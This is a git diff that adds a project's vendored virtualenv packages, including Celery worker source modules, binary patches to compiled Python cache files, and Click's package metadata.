accepted by the worker, sorted by type. +total_count = Counter() + +#: count of all tasks accepted by the worker +all_total_count = [0] + +#: the list of currently revoked tasks. Persistent if ``statedb`` set. +revoked = LimitedSet(maxlen=REVOKES_MAX, expires=REVOKE_EXPIRES) + +should_stop = None +should_terminate = None + + +def reset_state(): + requests.clear() + reserved_requests.clear() + active_requests.clear() + successful_requests.clear() + total_count.clear() + all_total_count[:] = [0] + revoked.clear() + + +def maybe_shutdown(): + """Shutdown if flags have been set.""" + if should_terminate is not None and should_terminate is not False: + raise WorkerTerminate(should_terminate) + elif should_stop is not None and should_stop is not False: + raise WorkerShutdown(should_stop) + + +def task_reserved(request, + add_request=requests.__setitem__, + add_reserved_request=reserved_requests.add): + """Update global state when a task has been reserved.""" + add_request(request.id, request) + add_reserved_request(request) + + +def task_accepted(request, + _all_total_count=None, + add_active_request=active_requests.add, + add_to_total_count=total_count.update): + """Update global state when a task has been accepted.""" + if not _all_total_count: + _all_total_count = all_total_count + add_active_request(request) + add_to_total_count({request.name: 1}) + all_total_count[0] += 1 + + +def task_ready(request, + successful=False, + remove_request=requests.pop, + discard_active_request=active_requests.discard, + discard_reserved_request=reserved_requests.discard): + """Update global state when a task is ready.""" + if successful: + successful_requests.add(request.id) + + remove_request(request.id, None) + discard_active_request(request) + discard_reserved_request(request) + + +C_BENCH = os.environ.get('C_BENCH') or os.environ.get('CELERY_BENCH') +C_BENCH_EVERY = int(os.environ.get('C_BENCH_EVERY') or + os.environ.get('CELERY_BENCH_EVERY') or 1000) +if C_BENCH: # pragma: no cover + import atexit + from time import monotonic + + from billiard.process import current_process + + from celery.utils.debug import memdump, sample_mem + + all_count = 0 + bench_first = None + bench_start = None + bench_last = None + bench_every = C_BENCH_EVERY + bench_sample = [] + __reserved = task_reserved + __ready = task_ready + + if current_process()._name == 'MainProcess': + @atexit.register + def on_shutdown(): + if bench_first is not None and bench_last is not None: + print('- Time spent in benchmark: {!r}'.format( + bench_last - bench_first)) + print('- Avg: {}'.format( + sum(bench_sample) / len(bench_sample))) + memdump() + + def task_reserved(request): + """Called when a task is reserved by the worker.""" + global bench_start + global bench_first + now = None + if bench_start is None: + bench_start = now = monotonic() + if bench_first is None: + bench_first = now + + return __reserved(request) + + def task_ready(request): + """Called when a task is completed.""" + global all_count + global bench_start + global bench_last + all_count += 1 + if not all_count % bench_every: + now = monotonic() + diff = now - bench_start + print('- Time spent processing {} tasks (since first ' + 'task received): ~{:.4f}s\n'.format(bench_every, diff)) + sys.stdout.flush() + bench_start = bench_last = now + bench_sample.append(diff) + sample_mem() + return __ready(request) + + +class Persistent: + """Stores worker state between restarts. + + This is the persistent data stored by the worker when + :option:`celery worker --statedb` is enabled. + + Currently only stores revoked task id's. + """ + + storage = shelve + protocol = pickle_protocol + compress = zlib.compress + decompress = zlib.decompress + _is_open = False + + def __init__(self, state, filename, clock=None): + self.state = state + self.filename = filename + self.clock = clock + self.merge() + + def open(self): + return self.storage.open( + self.filename, protocol=self.protocol, writeback=True, + ) + + def merge(self): + self._merge_with(self.db) + + def sync(self): + self._sync_with(self.db) + self.db.sync() + + def close(self): + if self._is_open: + self.db.close() + self._is_open = False + + def save(self): + self.sync() + self.close() + + def _merge_with(self, d): + self._merge_revoked(d) + self._merge_clock(d) + return d + + def _sync_with(self, d): + self._revoked_tasks.purge() + d.update({ + '__proto__': 3, + 'zrevoked': self.compress(self._dumps(self._revoked_tasks)), + 'clock': self.clock.forward() if self.clock else 0, + }) + return d + + def _merge_clock(self, d): + if self.clock: + d['clock'] = self.clock.adjust(d.get('clock') or 0) + + def _merge_revoked(self, d): + try: + self._merge_revoked_v3(d['zrevoked']) + except KeyError: + try: + self._merge_revoked_v2(d.pop('revoked')) + except KeyError: + pass + # purge expired items at boot + self._revoked_tasks.purge() + + def _merge_revoked_v3(self, zrevoked): + if zrevoked: + self._revoked_tasks.update(pickle.loads(self.decompress(zrevoked))) + + def _merge_revoked_v2(self, saved): + if not isinstance(saved, LimitedSet): + # (pre 3.0.18) used to be stored as a dict + return self._merge_revoked_v1(saved) + self._revoked_tasks.update(saved) + + def _merge_revoked_v1(self, saved): + add = self._revoked_tasks.add + for item in saved: + add(item) + + def _dumps(self, obj): + return pickle.dumps(obj, protocol=self.protocol) + + @property + def _revoked_tasks(self): + return self.state.revoked + + @cached_property + def db(self): + self._is_open = True + return self.open() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/strategy.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/strategy.py new file mode 100644 index 00000000..b6e9a17c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/strategy.py @@ -0,0 +1,208 @@ +"""Task execution strategy (optimization).""" +import logging + +from kombu.asynchronous.timer import to_timestamp +from kombu.utils.encoding import safe_repr + +from celery import signals +from celery.app import trace as _app_trace +from celery.exceptions import InvalidTaskError +from celery.utils.imports import symbol_by_name +from celery.utils.log import get_logger +from celery.utils.saferepr import saferepr +from celery.utils.time import timezone + +from .request import create_request_cls +from .state import task_reserved + +__all__ = ('default',) + +logger = get_logger(__name__) + +# pylint: disable=redefined-outer-name +# We cache globals and attribute lookups, so disable this warning. + + +def hybrid_to_proto2(message, body): + """Create a fresh protocol 2 message from a hybrid protocol 1/2 message.""" + try: + args, kwargs = body.get('args', ()), body.get('kwargs', {}) + kwargs.items # pylint: disable=pointless-statement + except KeyError: + raise InvalidTaskError('Message does not have args/kwargs') + except AttributeError: + raise InvalidTaskError( + 'Task keyword arguments must be a mapping', + ) + + headers = { + 'lang': body.get('lang'), + 'task': body.get('task'), + 'id': body.get('id'), + 'root_id': body.get('root_id'), + 'parent_id': body.get('parent_id'), + 'group': body.get('group'), + 'meth': body.get('meth'), + 'shadow': body.get('shadow'), + 'eta': body.get('eta'), + 'expires': body.get('expires'), + 'retries': body.get('retries', 0), + 'timelimit': body.get('timelimit', (None, None)), + 'argsrepr': body.get('argsrepr'), + 'kwargsrepr': body.get('kwargsrepr'), + 'origin': body.get('origin'), + } + headers.update(message.headers or {}) + + embed = { + 'callbacks': body.get('callbacks'), + 'errbacks': body.get('errbacks'), + 'chord': body.get('chord'), + 'chain': None, + } + + return (args, kwargs, embed), headers, True, body.get('utc', True) + + +def proto1_to_proto2(message, body): + """Convert Task message protocol 1 arguments to protocol 2. + + Returns: + Tuple: of ``(body, headers, already_decoded_status, utc)`` + """ + try: + args, kwargs = body.get('args', ()), body.get('kwargs', {}) + kwargs.items # pylint: disable=pointless-statement + except KeyError: + raise InvalidTaskError('Message does not have args/kwargs') + except AttributeError: + raise InvalidTaskError( + 'Task keyword arguments must be a mapping', + ) + body.update( + argsrepr=saferepr(args), + kwargsrepr=saferepr(kwargs), + headers=message.headers, + ) + try: + body['group'] = body['taskset'] + except KeyError: + pass + embed = { + 'callbacks': body.get('callbacks'), + 'errbacks': body.get('errbacks'), + 'chord': body.get('chord'), + 'chain': None, + } + return (args, kwargs, embed), body, True, body.get('utc', True) + + +def default(task, app, consumer, + info=logger.info, error=logger.error, task_reserved=task_reserved, + to_system_tz=timezone.to_system, bytes=bytes, + proto1_to_proto2=proto1_to_proto2): + """Default task execution strategy. + + Note: + Strategies are here as an optimization, so sadly + it's not very easy to override. + """ + hostname = consumer.hostname + connection_errors = consumer.connection_errors + _does_info = logger.isEnabledFor(logging.INFO) + + # task event related + # (optimized to avoid calling request.send_event) + eventer = consumer.event_dispatcher + events = eventer and eventer.enabled + send_event = eventer and eventer.send + task_sends_events = events and task.send_events + + call_at = consumer.timer.call_at + apply_eta_task = consumer.apply_eta_task + rate_limits_enabled = not consumer.disable_rate_limits + get_bucket = consumer.task_buckets.__getitem__ + handle = consumer.on_task_request + limit_task = consumer._limit_task + limit_post_eta = consumer._limit_post_eta + Request = symbol_by_name(task.Request) + Req = create_request_cls(Request, task, consumer.pool, hostname, eventer, app=app) + + revoked_tasks = consumer.controller.state.revoked + + def task_message_handler(message, body, ack, reject, callbacks, + to_timestamp=to_timestamp): + if body is None and 'args' not in message.payload: + body, headers, decoded, utc = ( + message.body, message.headers, False, app.uses_utc_timezone(), + ) + else: + if 'args' in message.payload: + body, headers, decoded, utc = hybrid_to_proto2(message, + message.payload) + else: + body, headers, decoded, utc = proto1_to_proto2(message, body) + + req = Req( + message, + on_ack=ack, on_reject=reject, app=app, hostname=hostname, + eventer=eventer, task=task, connection_errors=connection_errors, + body=body, headers=headers, decoded=decoded, utc=utc, + ) + if _does_info: + # Similar to `app.trace.info()`, we pass the formatting args as the + # `extra` kwarg for custom log handlers + context = { + 'id': req.id, + 'name': req.name, + 'args': safe_repr(req.args), + 'kwargs': safe_repr(req.kwargs), + } + info(_app_trace.LOG_RECEIVED, context, extra={'data': context}) + if (req.expires or req.id in revoked_tasks) and req.revoked(): + return + + signals.task_received.send(sender=consumer, request=req) + + if task_sends_events: + send_event( + 'task-received', + uuid=req.id, name=req.name, + args=req.argsrepr, kwargs=req.kwargsrepr, + root_id=req.root_id, parent_id=req.parent_id, + retries=req.request_dict.get('retries', 0), + eta=req.eta and req.eta.isoformat(), + expires=req.expires and req.expires.isoformat(), + ) + + bucket = None + eta = None + if req.eta: + try: + if req.utc: + eta = to_timestamp(to_system_tz(req.eta)) + else: + eta = to_timestamp(req.eta, app.timezone) + except (OverflowError, ValueError) as exc: + error("Couldn't convert ETA %r to timestamp: %r. Task: %r", + req.eta, exc, req.info(safe=True), exc_info=True) + req.reject(requeue=False) + if rate_limits_enabled: + bucket = get_bucket(task.name) + + if eta and bucket: + consumer.qos.increment_eventually() + return call_at(eta, limit_post_eta, (req, bucket, 1), + priority=6) + if eta: + consumer.qos.increment_eventually() + call_at(eta, apply_eta_task, (req,), priority=6) + return task_message_handler + if bucket: + return limit_task(req, bucket, 1) + + task_reserved(req) + if callbacks: + [callback(req) for callback in callbacks] + handle(req) + return task_message_handler diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/worker.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/worker.py new file mode 100644 index 00000000..f67d1a33 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/worker.py @@ -0,0 +1,410 @@ +"""WorkController can be used to instantiate in-process workers. + +The command-line interface for the worker is in :mod:`celery.bin.worker`, +while the worker program is in :mod:`celery.apps.worker`. + +The worker program is responsible for adding signal handlers, +setting up logging, etc. This is a bare-bones worker without +global side-effects (i.e., except for the global state stored in +:mod:`celery.worker.state`). + +The worker consists of several components, all managed by bootsteps +(mod:`celery.bootsteps`). +""" + +import os +import sys +from datetime import datetime + +from billiard import cpu_count +from kombu.utils.compat import detect_environment + +from celery import bootsteps +from celery import concurrency as _concurrency +from celery import signals +from celery.bootsteps import RUN, TERMINATE +from celery.exceptions import (ImproperlyConfigured, TaskRevokedError, + WorkerTerminate) +from celery.platforms import EX_FAILURE, create_pidlock +from celery.utils.imports import reload_from_cwd +from celery.utils.log import mlevel +from celery.utils.log import worker_logger as logger +from celery.utils.nodenames import default_nodename, worker_direct +from celery.utils.text import str_to_list +from celery.utils.threads import default_socket_timeout + +from . import state + +try: + import resource +except ImportError: # pragma: no cover + resource = None + + +__all__ = ('WorkController',) + +#: Default socket timeout at shutdown. +SHUTDOWN_SOCKET_TIMEOUT = 5.0 + +SELECT_UNKNOWN_QUEUE = """ +Trying to select queue subset of {0!r}, but queue {1} isn't +defined in the `task_queues` setting. + +If you want to automatically declare unknown queues you can +enable the `task_create_missing_queues` setting. +""" + +DESELECT_UNKNOWN_QUEUE = """ +Trying to deselect queue subset of {0!r}, but queue {1} isn't +defined in the `task_queues` setting. +""" + + +class WorkController: + """Unmanaged worker instance.""" + + app = None + + pidlock = None + blueprint = None + pool = None + semaphore = None + + #: contains the exit code if a :exc:`SystemExit` event is handled. + exitcode = None + + class Blueprint(bootsteps.Blueprint): + """Worker bootstep blueprint.""" + + name = 'Worker' + default_steps = { + 'celery.worker.components:Hub', + 'celery.worker.components:Pool', + 'celery.worker.components:Beat', + 'celery.worker.components:Timer', + 'celery.worker.components:StateDB', + 'celery.worker.components:Consumer', + 'celery.worker.autoscale:WorkerComponent', + } + + def __init__(self, app=None, hostname=None, **kwargs): + self.app = app or self.app + self.hostname = default_nodename(hostname) + self.startup_time = datetime.utcnow() + self.app.loader.init_worker() + self.on_before_init(**kwargs) + self.setup_defaults(**kwargs) + self.on_after_init(**kwargs) + + self.setup_instance(**self.prepare_args(**kwargs)) + + def setup_instance(self, queues=None, ready_callback=None, pidfile=None, + include=None, use_eventloop=None, exclude_queues=None, + **kwargs): + self.pidfile = pidfile + self.setup_queues(queues, exclude_queues) + self.setup_includes(str_to_list(include)) + + # Set default concurrency + if not self.concurrency: + try: + self.concurrency = cpu_count() + except NotImplementedError: + self.concurrency = 2 + + # Options + self.loglevel = mlevel(self.loglevel) + self.ready_callback = ready_callback or self.on_consumer_ready + + # this connection won't establish, only used for params + self._conninfo = self.app.connection_for_read() + self.use_eventloop = ( + self.should_use_eventloop() if use_eventloop is None + else use_eventloop + ) + self.options = kwargs + + signals.worker_init.send(sender=self) + + # Initialize bootsteps + self.pool_cls = _concurrency.get_implementation(self.pool_cls) + self.steps = [] + self.on_init_blueprint() + self.blueprint = self.Blueprint( + steps=self.app.steps['worker'], + on_start=self.on_start, + on_close=self.on_close, + on_stopped=self.on_stopped, + ) + self.blueprint.apply(self, **kwargs) + + def on_init_blueprint(self): + pass + + def on_before_init(self, **kwargs): + pass + + def on_after_init(self, **kwargs): + pass + + def on_start(self): + if self.pidfile: + self.pidlock = create_pidlock(self.pidfile) + + def on_consumer_ready(self, consumer): + pass + + def on_close(self): + self.app.loader.shutdown_worker() + + def on_stopped(self): + self.timer.stop() + self.consumer.shutdown() + + if self.pidlock: + self.pidlock.release() + + def setup_queues(self, include, exclude=None): + include = str_to_list(include) + exclude = str_to_list(exclude) + try: + self.app.amqp.queues.select(include) + except KeyError as exc: + raise ImproperlyConfigured( + SELECT_UNKNOWN_QUEUE.strip().format(include, exc)) + try: + self.app.amqp.queues.deselect(exclude) + except KeyError as exc: + raise ImproperlyConfigured( + DESELECT_UNKNOWN_QUEUE.strip().format(exclude, exc)) + if self.app.conf.worker_direct: + self.app.amqp.queues.select_add(worker_direct(self.hostname)) + + def setup_includes(self, includes): + # Update celery_include to have all known task modules, so that we + # ensure all task modules are imported in case an execv happens. + prev = tuple(self.app.conf.include) + if includes: + prev += tuple(includes) + [self.app.loader.import_task_module(m) for m in includes] + self.include = includes + task_modules = {task.__class__.__module__ + for task in self.app.tasks.values()} + self.app.conf.include = tuple(set(prev) | task_modules) + + def prepare_args(self, **kwargs): + return kwargs + + def _send_worker_shutdown(self): + signals.worker_shutdown.send(sender=self) + + def start(self): + try: + self.blueprint.start(self) + except WorkerTerminate: + self.terminate() + except Exception as exc: + logger.critical('Unrecoverable error: %r', exc, exc_info=True) + self.stop(exitcode=EX_FAILURE) + except SystemExit as exc: + self.stop(exitcode=exc.code) + except KeyboardInterrupt: + self.stop(exitcode=EX_FAILURE) + + def register_with_event_loop(self, hub): + self.blueprint.send_all( + self, 'register_with_event_loop', args=(hub,), + description='hub.register', + ) + + def _process_task_sem(self, req): + return self._quick_acquire(self._process_task, req) + + def _process_task(self, req): + """Process task by sending it to the pool of workers.""" + try: + req.execute_using_pool(self.pool) + except TaskRevokedError: + try: + self._quick_release() # Issue 877 + except AttributeError: + pass + + def signal_consumer_close(self): + try: + self.consumer.close() + except AttributeError: + pass + + def should_use_eventloop(self): + return (detect_environment() == 'default' and + self._conninfo.transport.implements.asynchronous and + not self.app.IS_WINDOWS) + + def stop(self, in_sighandler=False, exitcode=None): + """Graceful shutdown of the worker server.""" + if exitcode is not None: + self.exitcode = exitcode + if self.blueprint.state == RUN: + self.signal_consumer_close() + if not in_sighandler or self.pool.signal_safe: + self._shutdown(warm=True) + self._send_worker_shutdown() + + def terminate(self, in_sighandler=False): + """Not so graceful shutdown of the worker server.""" + if self.blueprint.state != TERMINATE: + self.signal_consumer_close() + if not in_sighandler or self.pool.signal_safe: + self._shutdown(warm=False) + + def _shutdown(self, warm=True): + # if blueprint does not exist it means that we had an + # error before the bootsteps could be initialized. + if self.blueprint is not None: + with default_socket_timeout(SHUTDOWN_SOCKET_TIMEOUT): # Issue 975 + self.blueprint.stop(self, terminate=not warm) + self.blueprint.join() + + def reload(self, modules=None, reload=False, reloader=None): + list(self._reload_modules( + modules, force_reload=reload, reloader=reloader)) + + if self.consumer: + self.consumer.update_strategies() + self.consumer.reset_rate_limits() + try: + self.pool.restart() + except NotImplementedError: + pass + + def _reload_modules(self, modules=None, **kwargs): + return ( + self._maybe_reload_module(m, **kwargs) + for m in set(self.app.loader.task_modules + if modules is None else (modules or ())) + ) + + def _maybe_reload_module(self, module, force_reload=False, reloader=None): + if module not in sys.modules: + logger.debug('importing module %s', module) + return self.app.loader.import_from_cwd(module) + elif force_reload: + logger.debug('reloading module %s', module) + return reload_from_cwd(sys.modules[module], reloader) + + def info(self): + uptime = datetime.utcnow() - self.startup_time + return {'total': self.state.total_count, + 'pid': os.getpid(), + 'clock': str(self.app.clock), + 'uptime': round(uptime.total_seconds())} + + def rusage(self): + if resource is None: + raise NotImplementedError('rusage not supported by this platform') + s = resource.getrusage(resource.RUSAGE_SELF) + return { + 'utime': s.ru_utime, + 'stime': s.ru_stime, + 'maxrss': s.ru_maxrss, + 'ixrss': s.ru_ixrss, + 'idrss': s.ru_idrss, + 'isrss': s.ru_isrss, + 'minflt': s.ru_minflt, + 'majflt': s.ru_majflt, + 'nswap': s.ru_nswap, + 'inblock': s.ru_inblock, + 'oublock': s.ru_oublock, + 'msgsnd': s.ru_msgsnd, + 'msgrcv': s.ru_msgrcv, + 'nsignals': s.ru_nsignals, + 'nvcsw': s.ru_nvcsw, + 'nivcsw': s.ru_nivcsw, + } + + def stats(self): + info = self.info() + info.update(self.blueprint.info(self)) + info.update(self.consumer.blueprint.info(self.consumer)) + try: + info['rusage'] = self.rusage() + except NotImplementedError: + info['rusage'] = 'N/A' + return info + + def __repr__(self): + """``repr(worker)``.""" + return ''.format( + self=self, + state=self.blueprint.human_state() if self.blueprint else 'INIT', + ) + + def __str__(self): + """``str(worker) == worker.hostname``.""" + return self.hostname + + @property + def state(self): + return state + + def setup_defaults(self, concurrency=None, loglevel='WARN', logfile=None, + task_events=None, pool=None, consumer_cls=None, + timer_cls=None, timer_precision=None, + autoscaler_cls=None, + pool_putlocks=None, + pool_restarts=None, + optimization=None, O=None, # O maps to -O=fair + statedb=None, + time_limit=None, + soft_time_limit=None, + scheduler=None, + pool_cls=None, # XXX use pool + state_db=None, # XXX use statedb + task_time_limit=None, # XXX use time_limit + task_soft_time_limit=None, # XXX use soft_time_limit + scheduler_cls=None, # XXX use scheduler + schedule_filename=None, + max_tasks_per_child=None, + prefetch_multiplier=None, disable_rate_limits=None, + worker_lost_wait=None, + max_memory_per_child=None, **_kw): + either = self.app.either + self.loglevel = loglevel + self.logfile = logfile + + self.concurrency = either('worker_concurrency', concurrency) + self.task_events = either('worker_send_task_events', task_events) + self.pool_cls = either('worker_pool', pool, pool_cls) + self.consumer_cls = either('worker_consumer', consumer_cls) + self.timer_cls = either('worker_timer', timer_cls) + self.timer_precision = either( + 'worker_timer_precision', timer_precision, + ) + self.optimization = optimization or O + self.autoscaler_cls = either('worker_autoscaler', autoscaler_cls) + self.pool_putlocks = either('worker_pool_putlocks', pool_putlocks) + self.pool_restarts = either('worker_pool_restarts', pool_restarts) + self.statedb = either('worker_state_db', statedb, state_db) + self.schedule_filename = either( + 'beat_schedule_filename', schedule_filename, + ) + self.scheduler = either('beat_scheduler', scheduler, scheduler_cls) + self.time_limit = either( + 'task_time_limit', time_limit, task_time_limit) + self.soft_time_limit = either( + 'task_soft_time_limit', soft_time_limit, task_soft_time_limit, + ) + self.max_tasks_per_child = either( + 'worker_max_tasks_per_child', max_tasks_per_child, + ) + self.max_memory_per_child = either( + 'worker_max_memory_per_child', max_memory_per_child, + ) + self.prefetch_multiplier = int(either( + 'worker_prefetch_multiplier', prefetch_multiplier, + )) + self.disable_rate_limits = either( + 'worker_disable_rate_limits', disable_rate_limits, + ) + self.worker_lost_wait = either('worker_lost_wait', worker_lost_wait) diff --git a/django_lottopy/lib/python3.10/site-packages/certifi/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/certifi/__pycache__/__init__.cpython-310.pyc index 35ef4456c7d25a0aeae06556310b50f05c183869..2a93c482d15ea7f1963daf74991290204c449a1e 100644 GIT binary patch delta 21 bcmbQsG?$4dpO=@50SJ1oE3;<8@1>*n! delta 27 hcmbQkIfs)cpO=@50SNL}?n&Ip!^6UOYqBIuGXPoK2KoR1 diff --git a/django_lottopy/lib/python3.10/site-packages/charset_normalizer/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/charset_normalizer/__pycache__/__init__.cpython-310.pyc index cbfa1fa42370e3f4c4762b6cd9ca81aa7a8697ab..76e61ff0084a538ca2f5317789cb23a5f723a6ec 100644 GIT binary patch delta 38 rcmcb@dxe)LpO=@50SJ10KQ5gm8&mFf=!f%b3X$ZqeOKv0b z3yxYbBP`VnHR@+W=SHH7}A>#lgr2@&jSqPA=}O+Q3h2;4Qv8imoeO#0|O*WBKH zD+MW#!xFf0A}rNZ#>}+ktu#oiE|}Z$kYuG{h%qm~Fm^O05e-5*%<4A-kgjTMp0lia z87Fmw$MEJSNjHP0qZ7a>2%BRNZJ`5&zTpn;>F;8f6@4eV zgLWiga|kIci%|~w7()_H*Ls-!p*aCE&a`AJ3lW|}2D>232ZYEryCzd)_}Dlek#M%9 zJSVMcmc~4^Q&+K%uYzp)z@2e_C$=bW?b8uYruZu)aqpaDB_Rn3et6@7*ucZ%wuevj zX<#=b|I%Gg%&pV@tn_HG=uE$Feun@gN@j7Sd%RC*W|WBW?<3^=^hB<0g*pL zWp56x(1JIN*6D&bx444~oqm`)Ky0V3mSUZQTxS^09UvsNm945-gj@?*dB`)j57=fS zxY$u458(ruYrxCu_t`>~#(nyYH-o;Xe|SrAg*=7{oUbtt@>p~|#XFeZ$twTQFMMfw z*XIt!1$X|KQ^_FX=Js|W*j5`w=o1)ft7KNZ>Z~}E=kp?;gHUx^`1Z4@L!8y8c`sRl zKK4~gtp6>MU*%rpDg>)D&{v(QDMyU>a#d0jZcht$<`jUSu=0zhU8?(s&~5vD|F=CT zZ!d->QBGt3ATq&WlEV~-{4o@GRAhj8Fl~R@{~_|sOm`hkbN$WYtbJ*4-w~Q+T-Uo^ z(QlN=CaLJAR-k>ExMQ66r0o9KK4SmPuSb6Ko-nrW#R~|j^rz8P6rjaKjK#}|0f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/python3.10/site-packages/charset_normalizer/__pycache__/constant.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/charset_normalizer/__pycache__/constant.cpython-310.pyc index d8530b7433164defd16095df5f8064ff6918a943..3a60256191fafbed2c756d79f95fda4d3461a1a1 100644 GIT binary patch delta 327 zcmWmAJ5Rz;7zSWJrQ9qDgQk#(8VBQ`p`~d`E0Bm6s0y0Ebd0HO6H5^UTN3Xpn~TT6 z82^A_P{ZgyaC1GAzvE0E-{HwSe&0J9!e|J5FOi5(usjIQ_9vee0O5l0%gm&zK*pyj zBLZmrvGACTlgO5DU3%v(!TVwc=5bqmn+*>vXW#`S)U};}g#F&Yl;rV>^uq}#Y?Nzx zMIn6Ga!lvi_c|TVK{%<-q*1t1&dE{^MJi<}FUlg~HV-v9hj39%^C;G+8aqvM*JvPY zt1dg|TfMMK1a2v;QCOu=Bydkbr*K4Ji9(jb9fbmgV+zX@)=N|DC&IOREz9;D*8L`< z6#8!`3^LieA)M3K6p_Si&sADyffL}@{1Xr?X>-iFmSVcvJ5$iFrb%?~z^rf7wi^V$ M=!lLj+{mLZ&UkCGjrao~DJ$W@7_~V~!jqlx*5(cJlLWY; z*jt-WG3I5EMP7od5g{6$;jByD2m(XGk0 z=8`Vzm9mX!ncJ`W9pD zEyn6!j5fa*)qXL?{$kYm#aLs<4D{12)~x)D#H6ASAiF3VNZ7G}MUx9GO$}}_WmMhb zOv+3*&B!iJE-uOdN==?)F@-T|vZ196ko2>Z0FvpJ>w%=WRRwnxhqr&cpQEp9aMa{k NRtmtt*=<$80RZLiY#IOn diff --git a/django_lottopy/lib/python3.10/site-packages/charset_normalizer/__pycache__/legacy.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/charset_normalizer/__pycache__/legacy.cpython-310.pyc index ed010fb8e7efe89c65a4c6399809224a0ab39e01..8643e98d90132bfc29e2349d4a1ea8846bd46999 100644 GIT binary patch delta 93 zcmew$_Cbs%pO=@50SJ18c7J*c1 ivKH}z#2Jf<;EIYwHcPTzWM#ZH`8Ag!qxfWA?qmQhbQXI6 delta 93 zcmew$_Cbs%pO=@50SNL}?n&IpQ^3M_YjQ11j)5>xs7M4zM6o7kB<2_2Vou7>Edr_3 jWG&(aQnwh3ir|WhL^n&aUSwsAn*5qekx^nYFLyEkUX&J? diff --git a/django_lottopy/lib/python3.10/site-packages/charset_normalizer/__pycache__/md.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/charset_normalizer/__pycache__/md.cpython-310.pyc index 1b17d5c44b92ae22590e4903b778c51b398515c1..48c56b38731b8ca66756f9186739866d30719f13 100644 GIT binary patch delta 221 zcmZ3VyFQmEpO=@50SJ17_YU+)jzbnaK)1i6xnNnoLD4Kz&8cK;jm6 zKxtlbNhwe~KkwFND+3`WraZ>Yenv|f8T%%GFk|*YiHp?{7OK zo>g@tQ}gX~Gnc+~FGteih-ZKRkO0mJXw7^G@xgsBUC{zgRsF#_uj3{Um51LzJVswT zf>i5K*-fY3vv8Q@C>8pp+{4`hph2KCXN;ot8~J@F(?9NEOSE;Ivj?P}*q$(Oeij%5 zW`P259xwq8%mX=~1eAd#AW7r#pwmB?^{975?s~6sqc}Hf6~&a&%PQ%i0DTS{Y)y>Q z=fqCsSa=PkI?xHAvFp8H+)Z(Aa;>RR`GUR-k*o?*PD?4bAiWK|k)3w6Py3ycIFv3f zBf11&nuAVusr7T^o)n4^i+4Sf=&ifiuq$`hk~#9P~A!b>IoG z0mv6Ah~z>_*acgm*4ThxB(~Qg*E>(`BX2|RAgciKb59|95A18cj|Re3k!!w&d#V4Y zv_*ER%H2js?cV=W*Ysng>J_#r%m-;l*C+mRj#;ErX$Ze~g(Xvrx3s1&en;aa6#iWMc5-3R3wB^qg*=G-nKM6tc#}w3VIVeYmzo KKb2l3PX7TTJjp8n delta 831 zcmaLV&rcIU6bEo;MXYWMq>b!S4h2MD(^A>CCdxqrq$i`si-*0~vRxsHU7ao=SZmVw zGa^y*P?A=Gn8w6|F=Q_uym;&d?-&o>ycquh56pK;A{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T!o!l0X@$+VK8YiQuKdSNIW>@m?zcwh7K9|I5w0RR91 diff --git a/django_lottopy/lib/python3.10/site-packages/charset_normalizer/__pycache__/version.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/charset_normalizer/__pycache__/version.cpython-310.pyc index a52a44754632dcdd1edcdd2a6b81c52859554b3a..16730a439a6b755a66d706e6987aa08da18a9891 100644 GIT binary patch delta 21 bcmZ3%w1SBzpO=@50SJ1RJ<5?p&xF=bW)NF|mtZZ@&5N-1D9DEyfq)f!V4mpQV4# zB1@^afp3+KpPMP&H!;Bp^;S`zWbubedF8k2wTnXcp|!8f3+iWwzo?b?TmeRbF%33tt;%r}t^zlK6kuzZOXlV6((~4`oW$WBzyYQ#tJ;$3QbTb; zPN<*3xnK_t!@w{wq8^6!jnX^%MJwqNtTgt~FS(8zi;zCL=&|1Ynf%L}FA=MOJUu~4wR{muhtda5*k z2i`7cQ68NG58;#p(+LdB3D*l|w{?>3e>RuNB0$ri%7d;in^nJy%edQguT2fr?XUgh a?;c4GUrG*~?M+@>wWLIobRXB{xBUjJ@3Dgb delta 911 zcmZ{i%}-N76vf|AX+m411uLfbflCn;zb#s9X{sp7XH2w;`ap#WQZv$oxUeR~7#b6d zV~k0cghdyc=-U|M!hZomB7JL3T(NV3Zk%(*+Qh`S_`S)U`{tc{&Md?i;(=^^z0cB5 zw)Dw<7g(og?&)e$h(01S^ew^ouUhLpVnP%dd^I|9D4JX%=0Ksg2MM zk#w3HTZMNThh|l*>4on;maQ7DDmQ(|yLH{Usc~Co>}hS+e+5wiL!~Mv%O5gNDq(<( zlK-a?L}@e^Ox{d1uB(htc7?F){@XP#6KZ#OCP>1_GQaDhfLw?` zmHAKN>uMI&(K+xSb~!Mez`&evrD*Q9PBQxE<}z6XXc|;?(3M4V)$idj-fg-URRb-% dwx<1OhEju=3.7 +Description-Content-Type: text/x-rst +License-File: LICENSE.rst +Requires-Dist: colorama ; platform_system == "Windows" +Requires-Dist: importlib-metadata ; python_version < "3.8" + +\$ click\_ +========== + +Click is a Python package for creating beautiful command line interfaces +in a composable way with as little code as necessary. It's the "Command +Line Interface Creation Kit". It's highly configurable but comes with +sensible defaults out of the box. + +It aims to make the process of writing command line tools quick and fun +while also preventing any frustration caused by the inability to +implement an intended CLI API. + +Click in three points: + +- Arbitrary nesting of commands +- Automatic help page generation +- Supports lazy loading of subcommands at runtime + + +Installing +---------- + +Install and update using `pip`_: + +.. code-block:: text + + $ pip install -U click + +.. _pip: https://pip.pypa.io/en/stable/getting-started/ + + +A Simple Example +---------------- + +.. code-block:: python + + import click + + @click.command() + @click.option("--count", default=1, help="Number of greetings.") + @click.option("--name", prompt="Your name", help="The person to greet.") + def hello(count, name): + """Simple program that greets NAME for a total of COUNT times.""" + for _ in range(count): + click.echo(f"Hello, {name}!") + + if __name__ == '__main__': + hello() + +.. code-block:: text + + $ python hello.py --count=3 + Your name: Click + Hello, Click! + Hello, Click! + Hello, Click! + + +Donate +------ + +The Pallets organization develops and supports Click and other popular +packages. In order to 